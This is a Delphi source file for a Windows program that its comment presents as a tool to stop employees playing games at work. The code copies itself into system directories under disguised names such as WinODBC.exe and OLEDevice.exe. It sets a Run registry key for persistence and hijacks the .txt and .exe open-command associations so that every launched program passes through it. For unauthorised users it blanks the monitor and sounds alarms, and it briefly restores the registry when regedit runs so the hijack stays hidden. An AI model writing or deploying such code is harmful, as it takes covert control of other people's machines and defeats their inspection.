1 //为了防止一些人上班就玩游戏的恶习所编
  2 program HK;
  3 
  4 uses
  5   Windows,
  6   Messages,
  7   SysUtils,
  8   System,
  9   Classes,
 10   Registry,
 11   Forms,
 12   Controls,
 13   LoadDLL in 'LoadDLL.pas';
 14   
 15 var
 16   I:Integer;
 17   SPath,WPath:PCHAR;
 18   pa:string;
 19   hnd: THandle;
 20   sp:boolean;
 21   sFileName:String;
 22 
 23 
 24 //function RegisterServiceProcess(dwProcessId, dwServiceType: DWord): Bool; stdcall;
 25 
 26 //function RegisterServiceProcess; external 'Kernel32.dll' Name 'RegisterServiceProcess';
 27 
 28 procedure procRun(exeName,exePath:PChar;trace:boolean);
 29 var
 30   SUInfo: TStartupInfo;
 31   ProcInfo: TProcessInformation;
 32 begin
 33 FillChar(SUInfo, SizeOf(SUInfo), #0);
 34 with SUInfo do
 35   begin
 36     cb := SizeOf(SUInfo);
 37     dwFlags := STARTF_USESHOWWINDOW;
 38     wShowWindow :=1;
 39   end;
 40 if CreateProcess(NIL,exeName, NIL, NIL, FALSE,CREATE_NEW_CONSOLE or NORMAL_PRIORITY_CLASS, NIL,exePath, SUInfo, ProcInfo) then
 41   begin
 42     if trace then
 43       WaitForSingleObject(ProcInfo.hProcess, INFINITE);
 44     CloseHandle(ProcInfo.hProcess);
 45     CloseHandle(ProcInfo.hThread);
 46   end;
 47 end;
 48 
 49 procedure procSetReg(rest:boolean);
 50 var
 51    Reg:TRegistry;
 52 begin
 53    Reg:=Tregistry.Create;
 54    try
 55    if rest then
 56    begin
 57      reg.rootkey:=HKEY_CLASSES_ROOT;
 58      if reg.OpenKey('\txtfile\shell\open\command',true) then
 59         reg.WriteExpandString('',WPath+'\NOTEPAD.exe %1');
 60      reg.closekey;
 61      if reg.OpenKey('\exefile\shell\open\command',true) then
 62         reg.WriteExpandString('','"%1" %*');
 63      reg.closekey;
 64      reg.RootKey:=HKEY_LOCAL_MACHINE;
 65      if reg.openkey('\Software\Microsoft\Windows\CurrentVersion\Run',True) then
 66         reg.DeleteValue('SysOleRun');
 67       reg.closekey;
 68    end
 69    else
 70    begin
 71       reg.RootKey:=HKEY_LOCAL_MACHINE;
 72       if reg.openkey('\Software\Microsoft\Windows\CurrentVersion\Run',True) then
 73           reg.writestring('SysOleRun',spath+'\ObjDDC.exe');
 74       Reg.CloseKey;
 75       reg.rootkey:=HKEY_CLASSES_ROOT;
 76       if reg.OpenKey('\txtfile\shell\open\command',true) then
 77           reg.WriteExpandString('',spath+'\WinODBC.exe %1');
 78       reg.closekey;
 79       if reg.OpenKey('\exefile\shell\open\command',true) then
 80           reg.WriteExpandString('',spath+'\OLEDevice.exe %1 %*');
 81       reg.closekey;
 82    end;
 83   finally
 84     Reg.Free;
 85   end;
 86 end;
 87 
 88 procedure BeepEx(feq:word=1200;delay:word=1);
 89 
 90   procedure BeepOff;
 91    begin
 92      asm
 93        in al,$61;
 94        and al,$fc;
 95        out $61,al;
 96      end;
 97   end;
 98 const
 99   scale=1193180;
100 var
101   temp:word;
102 begin
103   temp:=scale div feq;
104   asm
105     in al,61h;
106     or al,3;
107     out 61h,al;
108     mov al,$b6;
109     out 43h,al;
110     mov ax,temp;
111     out 42h,al;
112     mov al,ah;
113     out 42h,al;
114   end;
115   sleep(delay);
116   beepoff;
117 end;
118 
119 procedure UserPass();
120 var
121    a,b:integer;
122    t:longword;
123    UserName:PCHAR;
124 begin
125    if sp then
126       begin
127        t:=255;
128       GetMem(UserName,255);
129       try
130         getusername(UserName,t);
131         if UserName<>'lykyl' then
132           begin
133              messagebox(0,'非法用户，操作限制！','系统警告！',MB_OK);
134              for a:=1 to 1 do
135               begin
136               SendMessage(0, WM_SYSCOMMAND, SC_MONITORPOWER, 0);
137                for b:=1 to 2 do
138                  begin
139                       BeepEx(1500,200);
140                       beepex(3000,200);
141                  end;
142                SendMessage(0, WM_SYSCOMMAND, SC_MONITORPOWER, -1);
143                messagebox(0,'非法用户身份确定','系统警告！',MB_OK);
144               end;
145           end;
146         finally
147           freemem(UserName);
148         end;
149       end;
150 end;
151   {$R *.RES}
152 
153 begin
154    hnd := CreateMutex(nil, True, 'irgendwaseinmaliges');
155    if GetLastError = ERROR_ALREADY_EXISTS then
156       sp:=false
157    else
158       sp:=true;
159   //RegisterServiceProcess(0, RSP_SIMPLE_SERVICE);
160   GetMem(SPath,255);
161   GetMem(WPath,255);
162   GetSystemDirectory(SPath,255);
163   GetWindowsDirectory(WPath,255);
164   SetLength(sFileName,255);
165   GetModuleFileName(GetCurrentProcess,Pchar(sFileName),255);
166   sFileName:=Pchar(sFileName);
167   try
168     if ExtractFileName(sFileName)='lykyl.exe' then
169        procSetReg(true)
170     else
171     begin
172     Copyfile(pchar(sFileName),pchar(spath+'\WinODBC.exe'),false);
173     Copyfile(pchar(sFileName),pchar(spath+'\OLEDevice.exe'),false);
174     Copyfile(pchar(sFileName),pchar(WPath+'\ObjDDc.exe'),false);
175     procSetReg(false);
176     for i:=1 to ParamCount do
177         if i=1 then
178            pa:=ParamStr(i)
179         else
180            pa:=pa+' '+ParamStr(i);
181     if Pa <>'' then
182       begin
183           if ExtractFileName(sFileName)='WINODBC.EXE' then
184             begin
185               UserPass();
186               procRun(PChar(WPath+'\NOTEPAD.EXE '+pa),PChar(ExtractFilePath(WPath+'\')),false);
187             end
188           else
189               if ExtractFileName(sFileName)='OLEDEVICE.EXE' then
190                begin
191                   UserPass();
192                   if AnsiStrPos(pchar(pa),'regedit')<>nil then
193                      begin
194                           procSetReg(true);
195                           procRun(PChar(pa),PChar(ExtractFilePath(pa)),true);
196                           procSetReg(false);
197                      end
198                   else
199                      begin
200                          procRun(PChar(pa),pchar(extractfilepath(pa)),false);
201                      end;
202                end;
203       end;
204       end;
205   finally
206     freemem(SPath);
207     freemem(WPath);
208     if hnd <> 0 then CloseHandle(hnd);
209 //    RegisterServiceProcess(0, RSP_UNREGISTER_SERVICE);
210   end;
211 end.